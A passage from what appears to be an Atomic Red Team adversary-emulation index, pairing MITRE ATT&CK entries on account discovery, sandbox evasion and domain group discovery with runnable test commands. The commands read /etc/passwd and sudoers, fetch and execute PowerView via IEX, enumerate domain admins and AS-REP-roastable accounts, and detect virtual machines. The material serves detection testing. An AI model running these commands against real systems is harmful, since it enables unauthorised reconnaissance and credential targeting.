      - description: 'Packages sssd-ad sssd-tools realmd adcli installed and realm
          available, ldapsearch

          '
        prereq_command: 'which ldapsearch

          '
        get_prereq_command: 'echo ldapsearch not found

          '
      executor:
        elevation_required: false
        command: 'ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user}
          -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub
          -a always -z 1000 dn

          '
        name: sh
    - name: Account Enumeration with LDAPDomainDump
      auto_generated_guid: a54d497e-8dbe-4558-9895-44944baa395f
      description: |
        This test uses LDAPDomainDump to perform account enumeration on a domain.
        [Reference](https://securityonline.info/ldapdomaindump-active-directory-information-dumper-via-ldap/)
      supported_platforms:
      - linux
      input_arguments:
        username:
          description: Username and domain to authenticate with
          type: string
          default: domain\user
        target_ip:
          description: IP to connect to
          type: string
          default: 127.0.0.1
        password:
          description: Password to authenticate with
          type: string
          default: password
      dependency_executor_name: sh
      dependencies:
      - description: Python3 must be installed
        prereq_command: if [ -x "$(command -v python3 --version)" ]; then exit 0;
          else exit 1; fi;
        get_prereq_command: sudo apt-get -y install python3
      - description: Pip must be installed
        prereq_command: if [ -x "$(command -v pip --version)" ]; then exit 0; else
          exit 1; fi;
        get_prereq_command: |-
          wget -O /tmp/get-pip.py https://bootstrap.pypa.io/pip/3.6/get-pip.py
          python3 /tmp/get-pip.py
      - description: The ldapdomaindump module must be installed
        prereq_command: python3 -c 'import ldapdomaindump' 2>/dev/null
        get_prereq_command: pip install ldapdomaindump
      - description: The future module must be installed
        prereq_command: python3 -c 'import future' 2>/dev/null
        get_prereq_command: pip install future
      executor:
        command: 'ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087'
        cleanup_command: "rm -rf /tmp/T1087/ 2>/dev/null \n"
        name: sh
        elevation_required: false
  T1087.001:
    technique:
      modified: '2024-01-11T23:47:44.655Z'
      name: 'Account Discovery: Local Account'
      description: |-
        Adversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.

        Commands such as <code>net user</code> and <code>net localgroup</code> of the [Net](https://attack.mitre.org/software/S0039) utility and <code>id</code> and <code>groups</code> on macOS and Linux can list local users and groups.(Citation: Mandiant APT1)(Citation: id man page)(Citation: groups man page) On Linux, local users can also be enumerated through the use of the <code>/etc/passwd</code> file. On macOS the <code>dscl . list /Users</code> command can be used to enumerate local accounts.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      x_mitre_contributors:
      - Daniel Stepanic, Elastic
      - Miriam Wiesner, @miriamxyra, Microsoft Security
      x_mitre_deprecated: false
      x_mitre_detection: |-
        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.

        Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).

        Monitor for processes that can be used to enumerate user accounts, such as <code>net.exe</code> and <code>net1.exe</code>, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_version: '1.4'
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Group: Group Enumeration'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'File: File Access'
      type: attack-pattern
      id: attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e
      created: '2020-02-21T21:07:55.393Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1087/001
        external_id: T1087.001
      - source_name: id man page
        description: MacKenzie, D. and Robbins, A. (n.d.). id(1) - Linux man page.
          Retrieved January 11, 2024.
        url: https://linux.die.net/man/1/id
      - source_name: groups man page
        description: MacKenzie, D. and Youngman, J. (n.d.). groups(1) - Linux man
          page. Retrieved January 11, 2024.
        url: https://linux.die.net/man/1/groups
      - source_name: Mandiant APT1
        description: Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage
          Units. Retrieved July 18, 2016.
        url: https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf
      - source_name: Elastic - Koadiac Detection with EQL
        description: 'Stepanic, D.. (2020, January 13). Embracing offensive tooling:
          Building detections against Koadic using EQL. Retrieved November 30, 2020.'
        url: https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1087.001
    atomic_tests:
    - name: Enumerate all accounts (Local)
      auto_generated_guid: f8aab3dd-5990-4bf8-b8ab-2226c951696f
      description: 'Enumerate all accounts by copying /etc/passwd to another file

        '
      supported_platforms:
      - linux
      input_arguments:
        output_file:
          description: Path where captured results will be placed
          type: path
          default: "/tmp/T1087.001.txt"
      executor:
        command: |
          cat /etc/passwd > #{output_file}
          cat #{output_file}
        cleanup_command: 'rm -f #{output_file}

          '
        name: sh
    - name: View sudoers access
      auto_generated_guid: fed9be70-0186-4bde-9f8a-20945f9370c2
      description: "(requires root)\n"
      supported_platforms:
      - linux
      - macos
      input_arguments:
        output_file:
          description: Path where captured results will be placed
          type: path
          default: "/tmp/T1087.001.txt"
      executor:
        command: |
          if [ -f /etc/sudoers ]; then sudo cat /etc/sudoers > #{output_file}; fi;
          if [ -f /usr/local/etc/sudoers ]; then sudo cat /usr/local/etc/sudoers > #{output_file}; fi;
          cat #{output_file}
        cleanup_command: 'rm -f #{output_file}

          '
        name: sh
        elevation_required: true
    - name: View accounts with UID 0
      auto_generated_guid: c955a599-3653-4fe5-b631-f11c00eb0397
      description: 'View accounts with UID 0

        '
      supported_platforms:
      - linux
      - macos
      input_arguments:
        output_file:
          description: Path where captured results will be placed
          type: path
          default: "/tmp/T1087.001.txt"
      executor:
        command: |
          grep 'x:0:' /etc/passwd > #{output_file}
          grep '*:0:' /etc/passwd >> #{output_file}
          cat #{output_file} 2>/dev/null
        cleanup_command: 'rm -f #{output_file} 2>/dev/null

          '
        name: sh
    - name: List opened files by user
      auto_generated_guid: 7e46c7a5-0142-45be-a858-1a3ecb4fd3cb
      description: 'List opened files by user

        '
      supported_platforms:
      - linux
      - macos
      executor:
        command: 'username=$(id -u -n) && lsof -u $username

          '
        name: sh
      dependency_executor_name: sh
      dependencies:
      - description: 'check if lsof exists

          '
        prereq_command: 'which lsof

          '
        get_prereq_command: "(which pkg && pkg install -y lsof)||(which yum && yum
          -y install lsof)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get
          install -y lsof)\n"
    - name: Show if a user account has ever logged in remotely
      auto_generated_guid: 0f0b6a29-08c3-44ad-a30b-47fd996b2110
      description: 'Show if a user account has ever logged in remotely

        '
      supported_platforms:
      - linux
      input_arguments:
        output_file:
          description: Path where captured results will be placed
          type: path
          default: "/tmp/T1087.001.txt"
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if lastlog command exists on the machine

          '
        prereq_command: 'if [ -x "$(command -v lastlog)" ]; then exit 0; else exit
          1; fi

          '
        get_prereq_command: 'sudo apt-get install login; exit 1;

          '
      executor:
        command: "[ \"$(uname)\" = 'FreeBSD' ] && cmd=\"lastlogin\" || cmd=\"lastlog\"
          \n$cmd > #{output_file}\ncat #{output_file}\n"
        cleanup_command: 'rm -f #{output_file}

          '
        name: sh
    - name: Enumerate users and groups
      auto_generated_guid: e6f36545-dc1e-47f0-9f48-7f730f54a02e
      description: 'Utilize groups and id to enumerate users and groups

        '
      supported_platforms:
      - linux
      - macos
      executor:
        command: |
          groups
          id
        name: sh
    - name: Enumerate users and groups
      auto_generated_guid: 319e9f6c-7a9e-432e-8c62-9385c803b6f2
      description: 'Utilize local utilities to enumerate users and groups

        '
      supported_platforms:
      - macos
      executor:
        command: |
          dscl . list /Groups
          dscl . list /Users
          dscl . list /Users | grep -v '_'
          dscacheutil -q group
          dscacheutil -q user
        name: sh
    - name: Enumerate all accounts on Windows (Local)
      auto_generated_guid: 80887bec-5a9b-4efc-a81d-f83eb2eb32ab
      description: |
        Enumerate all accounts
        Upon execution, multiple enumeration commands will be run and their output displayed in the PowerShell session
      supported_platforms:
      - windows
      executor:
        command: |
          net user
          dir c:\Users\
          cmdkey.exe /list
          net localgroup "Users"
          net localgroup
        name: command_prompt
    - name: Enumerate all accounts via PowerShell (Local)
      auto_generated_guid: ae4b6361-b5f8-46cb-a3f9-9cf108ccfe7b
      description: 'Enumerate all accounts via PowerShell. Upon execution, lots of
        user account and group information will be displayed.

        '
      supported_platforms:
      - windows
      executor:
        command: |
          net user
          get-localuser
          get-localgroupmember -group Users
          cmdkey.exe /list
          ls C:/Users
          get-childitem C:\Users\
          dir C:\Users\
          get-localgroup
          net localgroup
        name: powershell
    - name: Enumerate logged on users via CMD (Local)
      auto_generated_guid: a138085e-bfe5-46ba-a242-74a6fb884af3
      description: 'Enumerate logged on users. Upon execution, logged on users will
        be displayed.

        '
      supported_platforms:
      - windows
      executor:
        command: 'query user

          '
        name: command_prompt
  T1497.001:
    technique:
      modified: '2024-04-19T12:49:40.919Z'
      name: 'Virtualization/Sandbox Evasion: System Checks'
      description: "Adversaries may employ various system checks to detect and avoid
        virtualization and analysis environments. This may include changing behaviors
        based on the results of checks for the presence of artifacts indicative of
        a virtual machine environment (VME) or sandbox. If the adversary detects a
        VME, they may alter their malware to disengage from the victim or conceal
        the core functions of the implant. They may also search for VME artifacts
        before dropping secondary or additional payloads. Adversaries may use the
        information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497)
        during automated discovery to shape follow-on behaviors.(Citation: Deloitte
        Environment Awareness)\n\nSpecific checks will vary based on the target and/or
        adversary, but may involve behaviors such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047),
        [PowerShell](https://attack.mitre.org/techniques/T1059/001), [System Information
        Discovery](https://attack.mitre.org/techniques/T1082), and [Query Registry](https://attack.mitre.org/techniques/T1012)
        to obtain system information and search for VME artifacts. Adversaries may
        search for VME artifacts in memory, processes, file system, hardware, and/or
        the Registry. Adversaries may use scripting to automate these checks  into
        one script and then have the program exit if it determines the system to be
        a virtual environment. \n\nChecks could include generic system properties
        such as host/domain name and samples of network traffic. Adversaries may also
        check the network adapters addresses, CPU core count, and available memory/drive
        size. Once executed, malware may also use [File and Directory Discovery](https://attack.mitre.org/techniques/T1083)
        to check if it was saved in a folder or file with unexpected or even analysis-related
        naming artifacts such as `malware`, `sample`, or `hash`.\n\nOther common checks
        may enumerate services running that are unique to these applications, installed
        programs on the system, manufacturer/product fields for strings relating to
        virtual machine applications, and VME-specific hardware/processor instructions.(Citation:
        McAfee Virtual Jan 2017) In applications like VMWare, adversaries can also
        use a special I/O port to send commands and receive output. \n \nHardware
        checks, such as the presence of the fan, temperature, and audio devices, could
        also be used to gather evidence that can be indicative a virtual environment.
        Adversaries may also query for specific readings from these devices.(Citation:
        Unit 42 OilRig Sept 2018)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: discovery
      x_mitre_contributors:
      - Deloitte Threat Library Team
      - Kostya Vasilkov
      x_mitre_deprecated: false
      x_mitre_detection: Virtualization/sandbox related system checks will likely
        occur in the first steps of an operation but may also occur throughout as
        an adversary learns the environment. Data and events should not be viewed
        in isolation, but as part of a chain of behavior that could lead to other
        activities, such as lateral movement, based on the information obtained. Detecting
        actions related to virtualization and sandbox identification may be difficult
        depending on the adversary's implementation and monitoring required. Monitoring
        for suspicious processes being spawned that gather a variety of system information
        or perform other forms of Discovery, especially in a short period of time,
        may aid in detection.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_version: '2.2'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Process: OS API Execution'
      x_mitre_defense_bypassed:
      - Static File Analysis
      - Signature-based detection
      - Host forensic analysis
      - Anti-virus
      type: attack-pattern
      id: attack-pattern--29be378d-262d-4e99-b00d-852d573628e6
      created: '2020-03-06T20:57:37.959Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1497/001
        external_id: T1497.001
      - source_name: Unit 42 OilRig Sept 2018
        description: Falcone, R., et al. (2018, September 04). OilRig Targets a Middle
          Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September
          24, 2018.
        url: https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/
      - source_name: McAfee Virtual Jan 2017
        description: Roccia, T. (2017, January 19). Stopping Malware With a Fake Virtual
          Machine. Retrieved April 17, 2019.
        url: https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/stopping-malware-fake-virtual-machine/
      - source_name: Deloitte Environment Awareness
        description: Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved
          May 18, 2021.
        url: https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1497.001
    atomic_tests:
    - name: Detect Virtualization Environment (Linux)
      auto_generated_guid: dfbd1a21-540d-4574-9731-e852bd6fe840
      description: |
        systemd-detect-virt detects execution in a virtualized environment.
        At boot, dmesg stores a log if a hypervisor is detected.
      supported_platforms:
      - linux
      executor:
        name: sh
        elevation_required: true
        command: |
          if (systemd-detect-virt) then echo "Virtualization Environment detected"; fi;
          if (sudo dmidecode | egrep -i 'manufacturer|product|vendor' | grep -iE 'Oracle|VirtualBox|VMWare|Parallels') then echo "Virtualization Environment detected"; fi;
    - name: Detect Virtualization Environment (FreeBSD)
      auto_generated_guid: e129d73b-3e03-4ae9-bf1e-67fc8921e0fd
      description: |
        Detects execution in a virtualized environment.
        At boot, dmesg stores a log if a hypervisor is detected.
      supported_platforms:
      - linux
      executor:
        name: sh
        elevation_required: true
        command: 'if [ "$(sysctl -n hw.hv_vendor)" != "" ]; then echo "Virtualization
          Environment detected"; fi

          '
    - name: Detect Virtualization Environment (Windows)
      auto_generated_guid: 502a7dc4-9d6f-4d28-abf2-f0e84692562d
      description: 'Windows Management Instrumentation(WMI) objects contains system
        information which helps to detect virtualization. This command will specifically
        attempt to get the CurrentTemperature value from this object and will check
        to see if the attempt results in an error that contains the word supported.
        This is meant to find the result of Not supported, which is the result if
        run in a virtual machine

        '
      supported_platforms:
      - windows
      executor:
        name: powershell
        elevation_required: false
        command: |
          $error.clear()
          Get-WmiObject -Query "SELECT * FROM MSAcpi_ThermalZoneTemperature" -ErrorAction SilentlyContinue
          if($error) {echo "Virtualization Environment detected"}
        cleanup_command: "$error.clear()\n"
    - name: Detect Virtualization Environment (MacOS)
      auto_generated_guid: a960185f-aef6-4547-8350-d1ce16680d09
      description: 'ioreg contains registry entries for all the device drivers in
        the system. If it''s a virtual machine, one of the device manufacturer will
        be a Virtualization Software.

        '
      supported_platforms:
      - macos
      executor:
        name: sh
        elevation_required: false
        command: 'if (ioreg -l | grep -e Manufacturer -e ''Vendor Name'' | grep -iE
          ''Oracle|VirtualBox|VMWare|Parallels'') then echo ''Virtualization Environment
          detected''; fi;

          '
    - name: Detect Virtualization Environment via WMI Manufacturer/Model Listing (Windows)
      auto_generated_guid: 4a41089a-48e0-47aa-82cb-5b81a463bc78
      description: "Windows Management Instrumentation(WMI) objects contain system
        information which helps to detect virtualization. This test will get the model
        and manufacturer of the machine to determine if it is a virtual machine, such
        as through VMware or VirtualBox. \n"
      supported_platforms:
      - windows
      executor:
        name: powershell
        elevation_required: false
        command: |
          $Manufacturer = Get-WmiObject -Class Win32_ComputerSystem | select-object -expandproperty "Manufacturer"
          $Model = Get-WmiObject -Class Win32_ComputerSystem | select-object -expandproperty "Model"
          if((($Manufacturer.ToLower() -eq "microsoft corporation") -and ($Model.ToLower().contains("virtual"))) -or ($Manufacturer.ToLower().contains("vmware")) -or ($Model.ToLower() -eq "virtualbox")) {write-host "Virtualization environment detected!"} else {write-host "No virtualization environment detected!"}
  T1069.002:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: 'Permission Groups Discovery: Domain Groups'
      description: |-
        Adversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators.

        Commands such as <code>net group /domain</code> of the [Net](https://attack.mitre.org/software/S0039) utility,  <code>dscacheutil -q group</code> on macOS, and <code>ldapsearch</code> on Linux can list domain-level groups.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      x_mitre_contributors:
      - Harshal Tupsamudre, Qualys
      - Miriam Wiesner, @miriamxyra, Microsoft Security
      x_mitre_deprecated: false
      x_mitre_detection: |-
        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.

        Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Group: Group Enumeration'
      - 'Command: Command Execution'
      - 'Process: OS API Execution'
      - 'Process: Process Creation'
      type: attack-pattern
      id: attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c
      created: '2020-02-21T21:15:06.561Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1069/002
        external_id: T1069.002
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1069.002
    atomic_tests:
    - name: Basic Permission Groups Discovery Windows (Domain)
      auto_generated_guid: dd66d77d-8998-48c0-8024-df263dc2ce5d
      description: |
        Basic Permission Groups Discovery for Windows. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain
        information will be displayed.
      supported_platforms:
      - windows
      executor:
        command: |
          net localgroup
          net group /domain
          net group "enterprise admins" /domain
          net group "domain admins" /domain
        name: command_prompt
    - name: Permission Groups Discovery PowerShell (Domain)
      auto_generated_guid: 6d5d8c96-3d2a-4da9-9d6d-9a9d341899a7
      description: |
        Permission Groups Discovery utilizing PowerShell. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain
        information will be displayed.
      supported_platforms:
      - windows
      input_arguments:
        user:
          description: User to identify what groups a user is a member of
          type: string
          default: "$env:USERNAME"
      executor:
        command: 'get-ADPrincipalGroupMembership #{user} | select name

          '
        name: powershell
    - name: Elevated group enumeration using net group (Domain)
      auto_generated_guid: 0afb5163-8181-432e-9405-4322710c0c37
      description: |
        Runs "net group" command including command aliases and loose typing to simulate enumeration/discovery of high value domain groups. This
        test will display some errors if run on a computer not connected to a domain. Upon execution, domain information will be displayed.
      supported_platforms:
      - windows
      executor:
        command: |
          net groups "Account Operators" /doma
          net groups "Exchange Organization Management" /doma
          net group "BUILTIN\Backup Operators" /doma
          net group /domai "Domain Admins"
        name: command_prompt
    - name: Find machines where user has local admin access (PowerView)
      auto_generated_guid: a2d71eee-a353-4232-9f86-54f4288dd8c1
      description: 'Find machines where user has local admin access (PowerView). Upon
        execution, progress and info about each host in the domain being scanned will
        be displayed.

        '
      supported_platforms:
      - windows
      executor:
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-LocalAdminAccess -Verbose
        name: powershell
    - name: Find local admins on all machines in domain (PowerView)
      auto_generated_guid: a5f0d9f8-d3c9-46c0-8378-846ddd6b1cbd
      description: 'Enumerates members of the local Administrators groups across all
        machines in the domain. Upon execution, information about each machine will
        be displayed.

        '
      supported_platforms:
      - windows
      executor:
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Invoke-EnumerateLocalAdmin  -Verbose
        name: powershell
    - name: Find Local Admins via Group Policy (PowerView)
      auto_generated_guid: 64fdb43b-5259-467a-b000-1b02c00e510a
      description: 'takes a computer and determines who has admin rights over it through
        GPO enumeration. Upon execution, information about the machine will be displayed.

        '
      supported_platforms:
      - windows
      input_arguments:
        computer_name:
          description: hostname of the computer to analyze
          type: path
          default: "$env:COMPUTERNAME"
      executor:
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-GPOComputerAdmin -ComputerName #{computer_name} -Verbose
        name: powershell
    - name: Enumerate Users Not Requiring Pre Auth (ASRepRoast)
      auto_generated_guid: 870ba71e-6858-4f6d-895c-bb6237f6121b
      description: 'When successful, accounts that do not require kerberos pre-auth
        will be returned

        '
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'Computer must be domain joined.

          '
        prereq_command: 'if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain)
          {exit 0} else {exit 1}

          '
        get_prereq_command: 'Write-Host Joining this computer to a domain must be
          done manually.

          '
      - description: 'Requires the Active Directory module for powershell to be installed.

          '
        prereq_command: 'if(Get-Module -ListAvailable -Name ActiveDirectory) {exit
          0} else {exit 1}

          '
        get_prereq_command: 'Add-WindowsCapability -Online -Name "Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0"

          '
      executor:
        name: powershell
        elevation_required: false
        command: 'get-aduser -f * -pr DoesNotRequirePreAuth | where {$_.DoesNotRequirePreAuth
          -eq $TRUE}

          '
    - name: Adfind - Query Active Directory Groups
      auto_generated_guid: 48ddc687-82af-40b7-8472-ff1e742e8274
      description: |
        Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Groups
        reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html
      supported_platforms:
      - windows
      input_arguments:
        optional_args:
          description: Allows defining arguments to add to the adfind command to tailor
            it to the specific needs of the environment. Use "-arg" notation to add
            arguments separated by spaces.
          type: string
          default: 
      dependency_executor_name: powershell
      dependencies:
      - description: 'AdFind.exe must exist on disk at specified location (PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe)

          '
        prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe")
          {exit 0} else {exit 1}

          '
        get_prereq_command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          New-Item -Type Directory (split-path "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe") -ErrorAction ignore | Out-Null
          Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/bin/AdFind.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe"
      executor:
        command: '"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=group)
          #{optional_args}

          '
        name: command_prompt
    - name: Enumerate Active Directory Groups with Get-AdGroup
      auto_generated_guid: 3d1fcd2a-e51c-4cbe-8d84-9a843bad8dc8
      description: |
        The following Atomic test will utilize Get-AdGroup to enumerate groups within Active Directory.
        Upon successful execution a listing of groups will output with their paths in AD.
        Reference: https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-adgroup?view=windowsserver2022-ps
      supported_platforms:
      - windows
      executor:
        name: powershell
        command: 'Get-AdGroup -Filter *

          '
    - name: Enumerate Active Directory Groups with ADSISearcher
      auto_generated_guid: 9f4e344b-8434-41b3-85b1-d38f29d148d0
      description: |
        The following Atomic test will utilize ADSISearcher to enumerate groups within Active Directory.
        Upon successful execution a listing of groups will output with their paths in AD.
        Reference: https://devblogs.microsoft.com/scripting/use-the-powershell-adsisearcher-type-accelerator-to-search-active-directory/
      supported_platforms:
      - windows
      executor:
        name: powershell
        elevation_required: false
        command: '([adsisearcher]"objectcategory=group").FindAll(); ([adsisearcher]"objectcategory=group").FindOne()

          '
    - name: Get-ADUser Enumeration using UserAccountControl flags (AS-REP Roasting)
      auto_generated_guid: 43fa81fb-34bb-4b5f-867b-03c7dbe0e3d8
      description: |
        When successful, accounts that do not require kerberos pre-auth will be returned.
        Reference: https://m0chan.github.io/2019/07/31/How-To-Attack-Kerberos-101.html
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'Computer must be domain joined.

          '
        prereq_command: 'if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain)
          {exit 0} else {exit 1}

          '
        get_prereq_command: 'Write-Host Joining this computer to a domain must be
          done manually.

          '
      - description: 'Requires the Active Directory module for powershell to be installed.

          '
        prereq_command: 'if(Get-Module -ListAvailable -Name ActiveDirectory) {exit
          0} else {exit 1}

          '
        get_prereq_command: 'Add-WindowsCapability -Online -Name "Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0"

          '
      executor:
        name: powershell
        elevation_required: false
        command: 'Get-ADUser -Filter ''useraccountcontrol -band 4194304'' -Properties
          useraccountcontrol | Format-Table name

          '
    - name: Get-DomainGroupMember with PowerView
      auto_generated_guid: 46352f40-f283-4fe5-b56d-d9a71750e145
      description: 'Utilizing PowerView, run Get-DomainGroupMember to identify domain
        users. Upon execution, progress and info about groups within the domain being
        scanned will be displayed.

        '
      supported_platforms:
      - windows
      executor:
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainGroupMember "Domain Admins"
        name: powershell
    - name: Get-DomainGroup with PowerView
      auto_generated_guid: 5a8a181c-2c8e-478d-a943-549305a01230
      description: 'Utilizing PowerView, run Get-DomainGroup to identify the domain
        groups. Upon execution, Groups within the domain will be listed.

        '
      supported_platforms:
      - windows
      executor:
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainGroup -verbose
        name: powershell
    - name: Active Directory Enumeration with LDIFDE
      auto_generated_guid: 22cf8cb9-adb1-4e8c-80ca-7c723dfc8784
      description: |
        Output information from Active Directory to a specified file. [Ldifde](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc731033(v=ws.11)) is a CLI tool for creating, modifying and deleting directory objects.
        The test is derived from the CISA Report on Voly Typhoon. Reference: https://media.defense.gov/2023/May/24/2003229517/-1/-1/0/CSA_Living_off_the_Land.PDF
      supported_platforms:
      - windows
      input_arguments:
        output_path:
          description: Path to the file that ldifde will output
          type: path
          default: C:\Windows\temp
        output_file:
          description: The filename to be created by ldifde
          type: string
          default: atomic_ldifde.txt
      dependency_executor_name: powershell
      dependencies:
      - description: 'PowerShell ActiveDirectory Module must be installed

          '
        prereq_command: |
          Try {
              Import-Module ActiveDirectory -ErrorAction Stop | Out-Null
              exit 0
          }
          Catch {
              exit 1
          }
        get_prereq_command: |
          if((Get-CimInstance -ClassName Win32_OperatingSystem).ProductType -eq 1) {
            Add-WindowsCapability -Name (Get-WindowsCapability -Name RSAT.ActiveDirectory.DS* -Online).Name -Online
          } else {
            Install-WindowsFeature RSAT-AD-PowerShell
          }
      executor:
        elevation_required: true
        command: 'ldifde.exe -f #{output_path}\#{output_file} -p subtree

          '
        cleanup_command: 'del #{output_path}\#{output_file}

          '
        name: command_prompt
    - name: Active Directory Domain Search Using LDAP - Linux (Ubuntu)/macOS
      auto_generated_guid: d58d749c-4450-4975-a9e9-8b1d562755c2
      description: 'Output information from LDAPSearch. LDAP Password is the admin-user
        password on Active Directory

        '
      supported_platforms:
      - linux
      input_arguments:
        domain:
          description: The domain to be tested
          type: string
          default: example
        top_level_domain:
          description: The top level domain (.com, .test, .remote, etc... following
            domain, minus the .)
          type: string
          default: com
        user:
          description: username@domain of a user
          type: string
          default: user@example.com
        password:
          description: password of the user referenced inside user
          type: string
